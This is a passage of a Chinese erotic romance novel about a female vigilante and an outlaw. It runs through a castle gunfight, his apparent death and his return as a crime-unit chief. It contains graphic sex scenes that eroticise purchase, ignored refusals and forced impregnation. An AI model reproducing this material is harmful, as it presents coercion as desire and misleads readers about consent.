    闕雲岫明白這一切都是錯誤,否則她怎會在錯誤的時候,遇到了一個錯誤的人,而又總在錯誤的時刻,被這個錯誤的男人所救。


    而她,又錯誤的,將心遺落了……


    但如果真的錯了,就讓她在錯誤中沉淪一回吧……


    「你在幹什麼?」身子一僵,南宮燁的汗由頰上滴落。


    因為他完全不敢相信,這個在他身前的女人竟會如此挑動他!


    而他,在她生澀的挑逗之下,心中的慾望竟比曾經有過的更加洶湧、更加狂烈……


    「你買下……了我……不是……嗎……」闕雲岫心酸又心痛地低聲說著,然後緩緩地輕吻住南宮燁的肩膀,「我必須……讓你……」


    「你……」心中的怒火幾乎和慾火一樣強烈,南宮燁放開了闕雲岫的手,掐住她的腰一把將她提起,然後讓自己的堅挺狠狠地往前一衝,「你這個無恥的蕩婦!」


    「啊呀……」一陣令人戰慄的歡愉讓闕雲岫嬌啼不已,她再不克制了,只是盡情的、放肆地說著,「燁啊……人家……那裡……好濕……奸熱……奸疼啊……」


    「天……」聽著闕雲岫的聲聲媚吟,南宮燁整個人都傻了。


    因為他怎麼也沒想到,一向冷漠的她居然會說出這樣的淫聲浪語,而這些甜膩的叫聲,聽在他的耳中,竟如同催情劑一般,幾乎讓他失控!


    一把將闕雲岫推倒至柔軟的床上,南宮燁輕咬住她胸前敏感至極的緊繃乳尖,開始大力的將自己的堅挺搗向她的花心!


    「不要……啊……」身子像是虛脫般,闕雲岫在南宮燁的瘋狂律動中,感覺到花徑某處不斷地被摩擦著,而每當那個地方一被他摩擦到,她的花壁就會不由自主的緊縮一下,然後感覺一股沉重的壓力不斷地在她的下腹醞積,「燁……我……啊……」


    「什麼感覺?」握住闕雲岫的一隻雪白裸足,南宮燁開始放慢了自己的速度,「說!」


    「我……啊……」緊緊捉住床單,闕雲岫緊繃著身子又哭又叫,「好難受啊……我的身子……好像……要炸了……」


    「為什麼要炸了?」在一閃而逝的閃電光照之下,南宮燁望見了闕雲岫那緊捉著床單的小手,以及那被他擺弄得淫亂但卻性感無比的身姿,身下的堅挺更碩大了。


    「呃……因為……高潮……」在南宮燁有意的折磨之下,闕雲岫只能任那羞人的話語由自己的口中傾洩而出,「給我……」


    「你不是冷漠如冰嗎?」再度加快了速度,南宮燁的汗全滴至了闕雲岫渾圓而挺俏的雙乳上,「像你這樣冷的女人怎麼會有高潮?」


    「我……呃……」無助的搖著頭,闕雲岫的身上浮出了一層薄汗,而當那第一次的高潮終於來臨時,她的眼前一黑,花徑中無法克制地劇烈緊縮、痙攣了起來,「燁啊……我受不住了……啊呀……」


    她只能不斷地吟哦著、尖叫著,因為闕雲岫怎麼也沒有想到,他與她之間,竟會產生如此令人銷魂、令人幾乎要瘋狂的美妙感覺!


    她的思緒整個剝離了,人整個酥軟了,但那股極樂狂潮卻不斷地席捲著她,令她再也受不了的哭泣起來。


    「受不住也得受!」根本不放過闕雲岫,因為南宮燁沒有想到被她包裹、並在她體內衝刺的感覺竟會如此的絕妙,「是你挑逗我的!」


    「你……呃……被我……挑動……了嗎……」感受著南宮燁幾近於失控的律動,闕雲岫不住的嬌喘著,「啊……」


    「你說呢?」知道闕雲岫的處子身有可能無法忍受自己的強烈愛戀,因此南宮燁暫時停下了自己的動作,「你說呢!」


    「我……」闕雲岫喃喃地吟哦著,不自覺的又縮緊了花徑,「我不知道……」


    闕雲岫怎麼也沒想到自己一個小小、無心的動作,竟讓南宮燁未獲紆解的慾望更形強烈!


    他不再說話,而是直接將闕雲岫的身子抱起,讓她站至床後,雙手捉著床柱,上半身往前傾。


    而他,一手由身後握住她的渾圓雙乳,一手則往前撫著她平坦的小腹,然後突然一托,整個抬高了她的俏臀!


    「燁……不要……這樣……」當身子被擺弄成那樣羞人的姿勢時,闕雲岫羞不可抑地低喃,「求你……不要……」


    「原來你還是會害羞的。」又一個閃電,讓南宮燁看清了闕雲岫那又羞又嬌的側臉,他將堅挺緊緊抵住她的花口,用雙手輕轉著她的雪臀,讓自己的堅挺不斷地挑撥著她早已敏感又濕潤的地帶,「那我更要這樣做了!」


    「燁……不要……」感受著自己的花口被一個碩大的堅挺抵住,而身下又是整個的春潮蕩漾,闕雲岫低聲羞喃著,然後在南宮燁又一次猛烈地將堅挺刺入她的體內時,失聲嬌啼,「啊呀……」


    「你叫得好浪啊,」聽著那一聲高過一聲的媚吟,南宮燁再克制不住了,他瘋狂地在那個緊窒火熱的花徑中來回穿梭,不斷地低吼著,「我要你這個男人都愛戀的夜影女俠全身上下都是我的、我南宮燁一個人的!」


    「不要了……不要了……」一重高過一重的爆炸與釋放,讓闕雲岫的聲音幾乎都喊啞了。


    「說,你是誰的?」心疼又愛憐的握住闕雲岫的腰,南宮燁決定不再折磨她與他了。


    「我是……你的……」當那最後一次又最瘋狂的高潮來臨時,闕雲岫的身子整個軟了,「你的……啊……」


    「累了?休想!」輕抱著她虛軟的身子,南宮燁終於也在一個急衝之後,將自己釋放了。


    「啊……」當花徑深處被一股劇烈且灼熱的熱流衝擊時,闕雲岫尖叫一聲,整個身子彷彿化為水,但眼眸卻也矇矓了,「不行啊……」


    「為什麼不行?」輕輕將闕雲岫抱至床上,南宮燁的聲音有些冷酷,「怕懷了我的孩子?」


    「我……」闕雲岫的淚水再一次滴落到床單上,「我……」


    她不能有他的孩子,不能啊……


    這一回已經是不該了,她再不能有任何的……


    「你愈怕,我愈要讓你懷上我的孩子!」


    明白闕雲岫心中的擔憂,但南宮燁的聲音卻是那樣堅決。


    而他確實說到做到!


    連續三天,在這個古堡中、在每個風雨雷鳴的闇黑之夜裡,南宮燁一次又一次地佔有著她柔美的身子!


    他既溫柔又霸道的一回回將自己釋放在她的體內,而這是第一回,他如此盼望他身下的女人能為他孕育一個像她一樣美麗、堅強、聰慧,而又屬於他的孩子……


正文 第九章


    「七點的班機,一會兒有人會送你到機場。」第四天,當天色濛濛亮,一片大霧籠罩著古堡時,南宮燁淡淡的說著,「起來準備吧。」


    「我……」望著那張依然易容的臉龐,闕雲岫用薄被遮住自己全裸的身子,輕啟紅唇。


    「你想說什麼?」拾起眼,南宮燁望著闕雲岫的小臉。


    「你以前曾說,如果我……如果我……」


    是的,經過這三天來的內心掙扎,闕雲岫知道,自己已愛上了這個男人,徹徹底底的。


    也因此,她再不遲疑了。


    因為如果真像他以前說過的,只要她求他,求他改邪歸正,他也許會考慮,那她,會這麼做。


    所以今天,她決定放下所有的自尊,而這不僅是為她,也為他。


    「我收回我的話。」但南宮燁卻不等闕雲岫的話說完,便突然背過身去冷冷的說著。


    「你……」身子驀地一僵,闕雲岫的唇角開始顫抖,「為什麼?」


    是啊,為什麼?


    難道改邪歸正對他來說,真的有那樣的困難嗎?難道就算一起經歷了這麼多的風風雨雨,他依然不肯給他自己、也給她一個機會?


    「不為什麼。」南宮燁望也不望闕雲岫一眼,冷冷地說著。


    心,很痛很痛,但闕雲岫卻什麼也不再多說,逕自起了身穿好衣裳,然後等待著離別的那一刻。


    因為事情結束了,真的全部結束了,而她,也不該再有任何的留戀。


    他,終究是一隻狼,不會為任何人、任何事而停留的……蒼狼……


    送她的人,準時到了,但當臨別的那一刻,闕雲岫眼中的淚,依然不爭氣的流了下來。


    靜靜地低著頭站在一旁,闕雲岫一語不發地聽著南宮燁低聲對那三個男人交代著,該如何由古堡的秘道出去,而又該走哪些小徑到達機場。


    心中一動,但闕雲岫卻什麼也沒有說,然後在三個男人對她做出離開的手勢時,朝門口走去。


    但就在離開房間的最後一刻,南宮燁卻拉住了闕雲岫的手,一把將她摟至懷中,狠狠的吻著她,彷彿沒有明天般的吻著她。


    「去吧。」半晌後,南宮燁終於放開了闕雲岫的手,將她推出門外,砰的一聲將房門關上。


    靜靜地走在三個男人的中間,闕雲岫用手輕撫著自己被吻腫的紅唇,看似留戀著先前的吻,但她的腦中卻急速地轉動。


    她不是傻子,她明白這古堡裡即將要發生什麼事,否則一向獨來獨往的南宮燁不會找人來保護她離去,更不會在離去前,那樣失控地吻著她!


    「小姐,請上車!」由古堡中的地道走出時,一個男人禮貌地為她拉開車門。


    點了點頭,闕雲岫緩緩地走向車子,突然身形一矮,急速地轉了個身,將三個對她沒有任何防備的男子全打昏了,她匆匆拿走了他們身上所有的武器,不顧一切地回身往地道中跑去!


    是的,她要回去,雖然她不知道究竟發生了什麼事。


    但無論發生什麼,她都要與他一起面對,與那個她刻骨銘心愛著的男人一起面對!


    「南宮燁,我早知道你會出面,畢竟,會願意花那麼大一筆錢買下那個女人的男人,這世上只會有你一人,只是沒想到你會躲在這種鳥不生蛋的地方來,鼻子還那樣靈,居然嗅得到我們的行動,在最後一刻將她送走。」


    當她小心翼翼地回到那個住了三天的房間外時,闕雲岫聽到房內傳來一個相當陌生的聲音。


    眉頭微皺,闕雲岫屏住呼吸,悄悄地由隔壁的房間進入,走至可以看到現場情況的陽台上,心中一驚。


    因為此時的南宮燁,已經被一堆槍口指住了!


    「你也不差,還找得到我。」但在眾人槍口包圍下的南宮燁,臉上的神情卻依然那樣淡漠,而口中的話語也依然狂放。


    「你必須為你的所作所為付出代價!」一個為首的男人狠狠的說著,「說,剩下的貨在哪裡?」


    「有本事自己找,」南宮燁冷冷地笑道,「不過,我估計你們也沒這本事,否則也不會到我這裡來哭哭咧咧的。」


    「你……」為首的男人眼眸整個瞇了起來,怒氣溢於言表。


    不管其它人的行動,闕雲岫由始至終只是悄悄地注視著南宮燁身上的任何細小動作,因為她相信,他絕不可能這樣乖乖地束手就擒!


    因此,當看到南宮燁的左腿微微一動之際,闕雲岫立刻舉起手中的槍,然後在他的身子驀地飛起之際,掃下扳機,一槍射中了為首的男人!


    就在她舉槍的同時,一陣爆炸聲也由房內響起,那陣濃煙讓闕雲岫完全看不清房中的情勢,但她還是由陽台輕巧地躍入房中,聽著房內槍彈聲四起!


    憑著過往的經驗與三天來對這間房的熟稔,闕雲岫小心地躲避著槍彈,忍住眼中的疼痛四處找尋著、低呼著,「燁……」


    「你回來做什麼?!」突然,她的手被人一拉,繼而是一聲低吼。


    「找你。」一個翻滾,闕雲岫躲至床後,射擊敵人。


    「該死的!」戴著護目鏡,南宮燁也是一槍一個,彈無虛發,「你快走!」


    雖然看起來依舊冷靜,但此刻的南宮燁,心中是真的急了!


    因為此處並非他的根據地,他只做了基本的保護措施而已,若敵人繼續猛攻下去,他又逃不開,那他也只有採取與敵人同歸於盡的辦法,這樣一來,至少可以保住闕雲岫!


    畢竟,這一切都是他造成的,他沒有理由讓她跟著陪葬!


    但她,為什麼又要回來?


    「我不走。」


    「你……該死的!」望著闕雲岫倔強的臉及矯健的身手,南宮燁也只能在心中暗自著急,然後不斷開槍與敵人對戰。


    「小心!」雖然敵人愈來愈多,但闕雲岫心中卻沒有任何的畏懼,看著專心應敵、背後不小心露了破綻的南宮燁即將被一顆流彈射中,她毫不考慮地撲向他,「唔……」


    「傷了哪裡了?」聽到闕雲岫的聲音後,南宮燁一個回身,抱住她的腰往旁邊一滾,「夜兒,傷著哪兒了?」


    「你別管,」一把推開南宮燁,忍住手臂上的疼痛,闕雲岫伏低了頭,繼續與敵人對戰。


    「該死的!」口中不斷地低咒著,但南宮燁此時也只能專心應戰,然後望著敵人一個個倒在他們的槍口下。


    就在南宮燁伏在陽台旁觀察是否還有敵人時,他的眼角餘光突然瞄到一個出現在門口側邊、拿著火箭筒的男人!


    心中一凜,南宮燁立刻將手中的槍瞄準那人,但他依然慢了一步,因為對方手中的火箭筒已然發射!


    炮彈,雖然沒有射向南宮燁,但卻射中了房間的陽台,一聲巨響後,陽台冒出一片火花,牆面整個被炸成片片!


    一直伏身在陽台旁的南宮燁,雖盡力地想逃離危險地帶,但在一陣灼熱的氣流襲來時,他的身子,仍直挺挺的往外飛去!


    該死的……


    南宮燁露出了一個苦笑,而心中的念頭,只有一個——


    闕雲岫。


    就在南宮燁以為自己再無生還機會時,他的手,卻被人一把捉住,只是身子已整個騰空!


    「你沒事吧?」緊緊捉住南宮燁的手臂,闕雲岫趴在碎石之上,低聲問著。


    「我沒事。」南宮燁也低聲說著,感覺自己的身子開始被人往上扯。


    雖然也想努力的往上爬,只是,南宮燁的重量畢竟大過闕雲岫,而四周也沒有什麼可供支撐的東西,因此,他的身子依然懸在空中,不斷地搖晃著……


    而當煙霧逐漸散去,當感覺到自己的臉上不斷有溫熱的液體滴落時,南宮燁緩緩地抬起頭,望見了闕雲岫。


    她的右手攀住一塊碎石,而拉著他的左手手臂上,不斷地湧出血,面容,那樣痛苦……


    心中一凜,南宮燁低吼著,「快放手,否則連你也要掉下去的。」


    「不,我不放!」儘管手臂已經幾乎沒有感覺了,但闕雲岫依然毫不考慮地咬牙說著,「我永遠不會放!」


    是的,她不能放,因為在南宮燁身下的,是高高的懸崖,以及波濤洶湧的大海,她怎能放開他!


    「快放開我,夜兒!」望著闕雲岫的身子已慢慢地被自己扯下,南宮燁的聲音幾乎都顫抖了。


    「我……不……放……」闕雲岫一個字一個字的說著,「我絕……不放……手……」


    看著那張原本絕美的容顏,此刻竟變得如此憔悴、如此狼狽、如此痛楚,南宮燁心痛如絞的閉上了雙眸,心中不斷地吼狂著……


    夠了,一切都夠了!


    既是他造成的苦果,他一人承擔就夠了……


    「想不到堂堂的夜影女俠會有心軟的一刻,女人果然是女人,就算是你。」三秒後,南宮燁倏地睜開了眼,而臉上,竟露出了一個笑容。


    在微笑的同時,他用那只懸空的手,拔下了自己衣服上的鈕扣,用力地往前一彈!


    「再見了,我的小野貓……」


    半邊身子,在那個鈕扣彈中時整個麻了,闕雲岫就這樣眼睜睜地望著南宮燁的手由她的手中滑出,而身子,不斷地往下掉落、掉落……


    「不要啊——」發狂似的喊叫了起來,闕雲岫像瘋子一樣的叫著、爬著,而當她終於爬起,縱身要往下一跳時,卻被人用力拖住!


    「小姐,不可以!」


    回身一看,闕雲岫望著那三個先前被她擊昏的男子,此刻緊緊地拉住了她,而他們的臉上,滿是懊惱與自責。


    眼前一黑,闕雲岫只聽見自己心碎的聲音,而全身,再也沒有任何的感覺……


    半年後。


    一個初春的早晨,闕雲岫緩緩地走入銀行,因為她收到一張奇怪的支票,兌現的日期只有一天、只有一個小時,所以她來了。


    不是對支票裡的錢感興趣,闕雲岫感興趣的是背後的事,她想知道究竟有什麼人,竟可以開出這樣一張支票來,而他的目的又是什麼?


    親切的對警衛笑了笑,闕雲岫望著警衛紅著臉,半天後才傻傻地回了她一個笑容。


    其實,闕雲岫的穿著很平常,一件純白的小翻袖長襯衫,以及一件黑色的短窄裙,但她高雅的氣質,以及絕美的容頻,還是引起了許多男人愛慕的目光。


    靜靜地走向經理室,闕雲岫低著頭,略施脂粉的臉蛋上有抹淡淡的憂傷,而這,只因那些目光中,永遠不會再有一個她期盼的……


    半年了,南宮燁再也沒有任何消息,雖然她依然在等待、在盼望,但她明白,由那個百丈高的懸崖落下,他怎可能存活?


    可在闕雲岫心中,一直有個聲音在告訴她,可以的,她不可以放棄的,畢竟他是那樣的不凡、身手那樣的矯健、腦子那樣的靈敏,他一定會絕處逢生的,一定可以力挽狂瀾的……


    低垂的臉蛋,露出了一個苦澀的笑容,闕雲岫知道很多人都在心疼她的傻氣,但她就是要傻,或許她必須傻一輩子,但她寧可這樣一直的傻下去……


    這半年來,雖然她的作息一點也沒有改變,甚至看不出一絲一毫的異樣,但她明白,這只是假象,因為她的心,有一半已隨他而去……


    就在闕雲岫即將走入經理室之時,她突然渾身一凜,慢慢地抬起頭,因為她覺得四周的氣氛有些不對勁!


    回頭對警衛便了一個眼色,闕雲岫望著警衛傻愣了一會兒依然沒有反應,手,開始緩緩地撫在裙縫處。


    如此一來,無論發生任何事,她都可以做出立即的反應。


    「不要動!趴下!這是搶劫!」


    果然,不到半分鐘,她就看到有幾個戴著頭套的男人衝進了銀行,朝著空中放槍,而所有的人都開始尖叫!


    但奇怪的是,正當闕雲岫想抽出「雲岫刀」嚴懲這幫人之時,突然幾聲槍響,搶匪一個個應聲倒地!


    之後,幾個穿著特種部隊制服的男子衝了進來,一下子便將腿部中槍的搶匪們收拾得乾乾淨淨!


    倏地將眼光望向開槍的方向,闕雲岫有些佩服開槍人的神准,但她卻看到了一個一閃而過的背影,而那個背影,竟是那樣的熟悉……


    「大家請繼續。」將幾個搶匪一同銬上了手銬,一個男人環視了四周後淡淡的說著,「要領錢、要存錢的請照剛才的隊伍排好隊,若有誰想插隊,就別怪我們不客氣了。」


    「你們為什麼來得那樣快?」突然,在所有人都乖乖的開始排隊時,闕雲岫淡淡的問著。


    「你是誰?」剛剛一直下著命令的男人好奇地望著闕雲岫,然後走近她的身前低聲說道,「我們來得快你還不滿意了不成?」


    「我很滿意。」闕雲岫輕輕揚起嘴角,「如果我沒猜錯,你們就是Z組吧?」


    是的,Z組!


    一個近幾個月來專門打擊犯罪、成效斐然,並且經常洞察先機、防範於未然、幾近於神出鬼沒的特勤小組!


    「你……」男人有些詫異的望著闕雲岫,然後按緊了耳機,似乎是在聆聽命令。


    半晌後,男人愣了愣,望著闕雲岫的方向,露出了一個詭異的笑容後對身旁的隊友說道:「銬上,帶走。」


    「為什麼?」眨了眨眼眸,闕雲岫輕笑了起來,「我可是個善良的老百姓啊。」


    「我只是奉命行事,」男人笑得更詭譎了,「上頭要我幹什麼我就只能幹什麼。」


    「你的上級是誰?」心中忽地一跳,闕雲岫想起剛剛那個熟悉的背影。


    「你會知道的。」聽著闕雲岫的問題,男人依然笑著,然後聳了聳肩,二話不說地將她的眼蒙上,並將她帶上了四面全密閉的車內。


    靜靜地坐在車裡,闕雲岫心中滿是狐疑,而當被請下車、並且解下眼罩時,望著那個不像辦公室、反而有點像客廳的房間,她的心中更是有種奇怪的感覺。


    「名字。」坐在一張餐桌上,將闕雲岫帶回的男子公式化的問著。


    「闕雲岫。」


    「年齡。」男子低下頭一個字一個字的寫著。


    「二十七。」


    「未婚?」突然,男子像聽到什麼命令似的,抬起頭問了這麼個問題,「獨居?」


    「已婚,」闕雲岫淡淡的回答著,「獨居。」


    男子又像是聽到命令似的停了停,半晌後,抬起頭似笑非笑的望著闕雲岫,「先生叫什麼名字?」


    「無可奉告。」闕雲岫依然淡淡的說著,然後直視著男子怪異的表情,「怎麼不往不問了?」


    「因為我問不下去了,接下來的得讓我們的組長來問了。」男子看了闕雲岫一眼後,突然哈哈大笑的站起身來,「頭兒,你自己的活你自己幹。」


    男人說完話就走出門去,半晌後,闕雲岫聽著身後的門再度開啟,一個穩重的腳步聲緩緩地走入。


    「可以嗎?」一個身上背著槍、年約三十二、三歲的男子懶洋洋的坐到了闕雲岫身前,並掏出了一根煙。


    望著他似笑非笑的望著自己,剛毅而俊挺的臉、精亮而內斂的眸子、堅毅的嘴角,竟是那樣的俊氣逼人……


    不知為何,闕雲岫的心跳竟然加速了。


    「可以嗎?」男子又問了一次。


    「請便。」闕雲岫淡淡的說著,仔細地望著男人的臉。


    一種好強好強的熟悉感由她的心底升起,因為他的眼、他的眉、他的模樣,好像他!


    雖然她只見過一眼,但卻已將他的臉龐刻在她的心間了!


    真的是他嗎?會是他嗎……


    「那麼年輕就成了寡婦,日子不好熬吧?」輕揮著煙灰,男人淡淡的問著。


    「還行,」闕雲岫舉起被銬住的手撩了撩掉落在頰邊的髮絲,「反正寂寞了就找人陪。」


    「為什麼不再找個男人?」男人抬起眼,細細地凝望著闕雲岫精緻絕美,卻帶有一絲絲情感波動的俏臉。


    「你怎麼知道我沒找?」輕啟紅唇,闕雲岫淡淡的笑著,但她心中的起伏卻一波比一波劇烈。


    「那你找到的肯定不是好男人,」吐出了幾個煙圈,男人望著空氣中緩緩化成一片的煙霧,「要是個好男人,你就不會在這裡待了這麼久,還沒人來保你出去。」


    「也許吧,」突然,闕雲岫站起身來,走至男人旁邊,笑臉盈盈的坐到了他的腿上,「也許我這輩子注定只愛壞男人。你壞嗎?」


    「你說呢?」面對著闕雲岫突如其來的挑逗,男人沒有半點驚慌,語音依然那樣慵懶,「但面對你這樣美麗的女子主動投懷送抱,我看再好的男人都會變成壞男人。」


    「是嗎……」聽著男人絲毫沒有改變的語音,闕雲岫的心底有股淡淡的落寞。


    不是他。


    若真是他,此刻怎可能如此鎮靜……


    可在她的心底,他似乎就是這個模樣的,挺拔、霸氣十足,卻又玩世不恭……


    也許正是如此,也許是思念太傷人,所以她才會如此反常,將這名男子誤認成了「他」……


    既不是他,那她也沒有在這裡停留下去的必要了。


    倏地由男人的身上站起,闕雲岫手一翻便去除了手上的束縛,然後將手銬往旁邊一扔,大大方方的往門口走去。


    「想走?」


    耳畔傳來男人笑意十足的問話,闕雲岫同時感受到身後有一股風聲急閃而至!


    撕開裙縫,闕雲岫下意識地轉身來了個一百八十度的旋踢,開始與那名男子動手拆招。


    幾招過後,闕雲岫的心中升起了一陣疑竇及莫名的狂喜,而就在她稍稱分心之際,她的腰身驀地被男人攬住,兩個人雙雙跌入辦公室牆後的一個暗秘小房間之中。


    「小野貓,別來無恙?」黑暗中,男人的聲音充滿了揶揄,「身手不減當年啊,就是老毛病不改,喜歡分心。」


    「真的是你……」顫抖著唇角,闕雲岫望著將自己壓在身下的南宮燁,眼中浮現出一層霧光,「是你……」


    「自然是我。」南宮燁懶洋洋的笑了笑,開了一盞小燈後,將闕雲岫抱坐到房內的吧檯上,並將她的雙手銬在吧檯上方的一根柱於上。


    「你……」心中是那樣的激動,微啟的紅唇不斷地顫抖著,但最後,闕雲岫卻什麼話也說不出,只能任淚水像斷了線的珍珠般由頰上流下。


    「我可以將你的眼淚解釋為你很開心見到我嗎?」輕輕地用大拇指抹去闕雲岫臉上的淚滴,南宮燁柔聲說著。


    「你沒事……」終於找回了自己的聲音,闕雲岫用臉頰摩挲著那隻大掌,感受著上面的溫暖與熱度,淚水再度傾洩而出,「為什麼不告訴我……」


    「我為什麼要告訴你?」輕撫著闕雲岫的臉蛋,南宮燁輕輕問著,語氣中似乎有著一抹期待。


    「因為……」倏地抬起頭,闕雲岫望著那張英挺的臉,實在不知該如何將心中的所有想法表達出來,最後,只好低聲輕喊著,「你救了我啊……若不是你,我……」


    「我可不敢居這個功。」聽到闕雲岫的話後,南宮燁突然一愣,然後背過身去,語氣有些蒼涼,「在那種情況下,面對著你這樣的女人,只要是男人,都會像我那樣做的。」


    望著那個熟悉卻又有些疏離的背影,闕雲油也愣了。


    他似乎有些冷淡,為什麼?


    是不是他其實並不像她一樣想再見到彼此?否則這半年多來,他為何無聲無息,連個口信都不傳給她?


    而這回,若不是因緣際會讓他們再次相見,是否他根本就不打算再見她了?


    是不是,這一切都是她自作多情……


    「你現在……」垂下頭,闕雲岫收起所有的情感淡淡問著,「還好嗎?」


    「過得去。」聳了聳肩,南宮燁無所謂地說著,「吃好、住好,平常沒事出出勤,也沒什麼了不起的大案子讓我辦,湊合著混吧。」


    「為什麼這麼說?你是Z組的組長不是嗎?Z組的成立,以及近來的工作結果,對所有人來說都是相當卓越的。」闕雲岫輕輕說著。


    「包括你嗎?」


    「當然包括我。」闕雲岫點了點頭,「我只是有點不明白,你……何時,又為什麼會從事這個工作?」


    是啊,他當初不是一口回絕了她的提議嗎?為何如今會回心轉意?


    是否……


    「我自然是有目的的。」南宮燁轉過身來毫不在意地攤了攤手,「要是沒有個甜頭當誘餌,誰會來幹這種吃力不討好,又勞心、又勞力、又掙不了錢的破工作?」


    「你……」聽著南宮燁的話,闕雲岫的心中有微微的痛楚及淡淡的失望,但她依然盡力讓自己平靜,「你的目的是什麼?」


    「你說呢?」南宮燁淡淡的笑著,「像我這樣的人,你覺得我的目的是什麼?」


    輕輕的搖了搖頭,因為闕雲岫真的不知道究竟有什麼樣的「甜頭」或是「誘餌」,可以令這個浪子回頭!


    「自然是因為在這裡臥底,可以得到更多的線索,讓我可以由那些黑幫的身上好好地大撈一筆,以補償當初為你花出去的錢!」


正文 第十章


    南宮燁吊兒郎當的回答,幾乎敲碎了闕雲岫的心。


    她的身子,有片刻的發涼,而唇角,顫抖得幾乎說不出話來,但突然,她的眼整個瞪大了,「你不要這樣!」


    「我就要這樣。」不知何時站到闕雲岫身後的南宮燁懶洋洋地笑著,然後將大手放肆地罩住她的渾圓雙乳,不斷地來回搓揉著,「你瘦了,可這裡,卻更豐滿了。」


    「拿開你的手!」忍住心頭不斷升起的那陣悸動,闕雲岫的語音更冷冽了,卻是因為心痛。


    為什麼?


    為什麼他還是這樣?


    她不想試圖改變他,可為什麼他從不為自己想一想?


    他擁有那樣好的身手、有那樣靈光的頭腦,但他卻不願用在正途,給自己一個機會,大大方方的出現在陽光之下……


    「我不拿開,我忍得夠久了。」南宮燁喃喃的說著,動手解開闕雲岫白襯衫上的扣子,將她的內衣整個推至雙乳上緣,大掌整個覆蓋上去,「老天……你太讓人銷魂了……」


    「不要……」當那雙大掌碰觸到她的胸前時,闕雲岫的乳尖霎時挺立了,她倒抽一口氣,瘋狂地搖著頭,「別碰我……」


    「你要的,」用雙手分別輕拈著那兩顆玫瑰色的珍珠,南宮燁將唇俯至闕雲岫的耳旁,低啞著聲音說,「要不然,為什麼你這兒被我一碰就硬了呢?」


    「我不……我不……」淚水,緩緩地由闕雲岫的臉頰上滑落,但她明白他說的都是實話,她多想多想依偎在他的懷中,多想多想被他當成珍寶似的寵愛著。


    多想、多想啊……


    可是他,不給她這個機會!


    「夜兒,不哭,」望著闕雲岫臉上的晶瑩淚滴,南宮燁輕歎了一口氣,雙手不再逗弄她,將臉埋在她的頸窩間,「你還不明白嗎?你就是那個誘餌啊……」


    「嗯?!」淚眼矇矓中聽著南宮燁的話,闕雲岫不禁一愣。


    「為了讓大家的夜影女俠能準時回家與她的男人共餐,為了讓你有更多的時間陪你的男人,為了讓你改變對我的看法……」南宮燁低啞著嗓音說,「我才會來做這個工作啊……」


    「你……」淚水像決堤般在臉上奔流,因為闕雲岫的心被他這幾句話整個溫暖了。


    「我不想讓你那樣辛苦,不想讓你那樣危險,」緊緊抱住闕雲岫,南宮燁咬牙說著,「我希望你能有多餘的時間在家,為我生一個孩子……」


    「這不是真的……」顫抖著唇角,闕雲岫終於對南宮燁的話有了響應,「不是真的……」


    她不是不相信南宮燁,她只是不相信,等待了這麼久之後,幸福,真的來到她的身旁……


    但她的神情,看在南宮燁的眼底,卻只覺得一陣沉沉的悲哀。


    他明白闕雲岫當然不會相信他,因為她有什麼理由相信他?


    他從來就不是一個正人君子,更是一個不羈的浪子,這樣的他,自然不值得她相信,不值得她托付終身。


    更何況,除去在要她的身子之時,其餘的時間,她對他都是那樣的冷漠。


    雖然她剛剛的神情讓他有了些期待,但那也只是因為她感懷他的救命之恩罷了。


    畢竟像她那樣一個女子,怎會將心交給他……


    「我早料到你不會相信這個爛借口,」靜默了許久之後,南宮燁抬起頭,若無其事地解開她腕上的手銬,背過身去伸了個懶腰,「因為連我自己都不相信,像我這樣的人會為了這麼簡單的理由去做這種傻事。」


    「你……」輕撫著已自由的手腕,闕雲岫眨了眨滿是霧光的眼眸。


    「你走吧,再晚我恐怕就不得不留下你了。」打開了與辦公室之間的暗門,南宮燁一點也下想回頭,因為他不想再望到那張會令他痛苦、令他相思欲狂的絕美容顏。


    能夠生還,只能夠說是一個奇跡,但南宮燁明白,既然上天讓他新生,他便不能辜負任何人,特別是她。


    其實,在遇上了她、愛上了她後,他的心底早有改邪歸正的意思,而上回之所以不讓她開口,是因為他不想、也不需要讓她開口求他。


    他是個男人,他明白自己該做什麼事,而他要主動去做,讓她明白他的改變,這不僅是為她,也為他自己……


    「你要放我走?」望著那個僵硬的背影,闕雲岫仔細的凝望著,然後在看到他的身子有些顫抖時,緩緩地啟開紅唇,「你不怕我把你的秘密說出去?」


    「說吧,」南宮燁無所謂的聳了聳肩,緩緩地向外走去,「反正我換身份就跟換衣服一樣,也許明天我又成了警政署長也不一定。」


    「我明白,」當南宮燁的腳要踏出內室的剎那,他的身後又傳來了闕雲岫嚴肅的聲音,「所以我不會讓你走。」


    「我也明白,」緩緩地轉過身來,南宮燁忍住心中那股從未有過的痛意淡淡說著,「所以我們都不必客氣了,你的雲岫刀呢?」


    是啊,他早該明白了,如她,怎會放過這個大好機會任他溜走,繼續在世上胡作非為?


    反正早死過一次了,再來一次也沒什麼了不起,他也不想解釋了。


    更何況,死在她的手裡,總比死在別人的手裡來得幸福……


    「雲岫刀……放在這裡……」望進南宮燁的眼底,闕雲岫相信自己看到了痛苦。


    這個一向玩世不恭、放浪不羈的男子眼中,竟會出現那樣的神情,若她還不明白為什麼,她就真的太傻了……


    輕聲地說著話,闕雲岫緩緩地褪下底褲,然後將右腿抬起踏至沙發上,而手,撩開了自己早已撕破的裙子。


    她撩起裙擺的動作是那樣的緩慢且具有挑逗性,而眼神,也是那樣的性感迷濛,「跟以前放的地方一樣……」


    「你……」望著闕雲岫性感撩人的舉動,南宮燁微微愣住,看著她踩在沙發上的修長玉腿,再望向她裙底若隱若現的桃花源,他的聲音幾乎都顫抖了,「你……」


    「我的雲岫刀,專門對付壞人,以及……」輕輕地將繫在大腿上的刀套解了下來,闕雲岫抽出其中一把,緩緩地走向前,將刀口沿著南宮燁的頸項輕輕移動,「壞男人……」


    「我從沒想過,你……」將眼神別開,南宮燁低聲說著,「竟恨我至此……」


    「是的,我恨你。」闕雲岫同樣低聲說著,將刀移至南宮燁的腰際挑掉他的皮帶,而後,突然將手中的刀往後一射,小手往下一探,整個握住了他的分身,「恨你以前的所作所為,恨你為何要丟下我一人,恨你這半年來竟對我不聞不問……」


    「夜兒……你……」身子猛地一僵,南宮燁幾乎是在闕雲岫的小手碰到他時,立刻便有了反應!


    「所以我要……」感受到手中昂揚的堅挺,闕雲岫羞紅了雙頰,但她不顧心中的羞赧,仰起頭,將紅唇抵住南宮燁的喉結,「把你牢牢的扣在我身邊……」


    「老天……」抬起頭,南宮燁閉上眼、握起雙拳,感受著自己的堅挺在那雙柔荑的逗弄下,整個緊繃,「老天……」


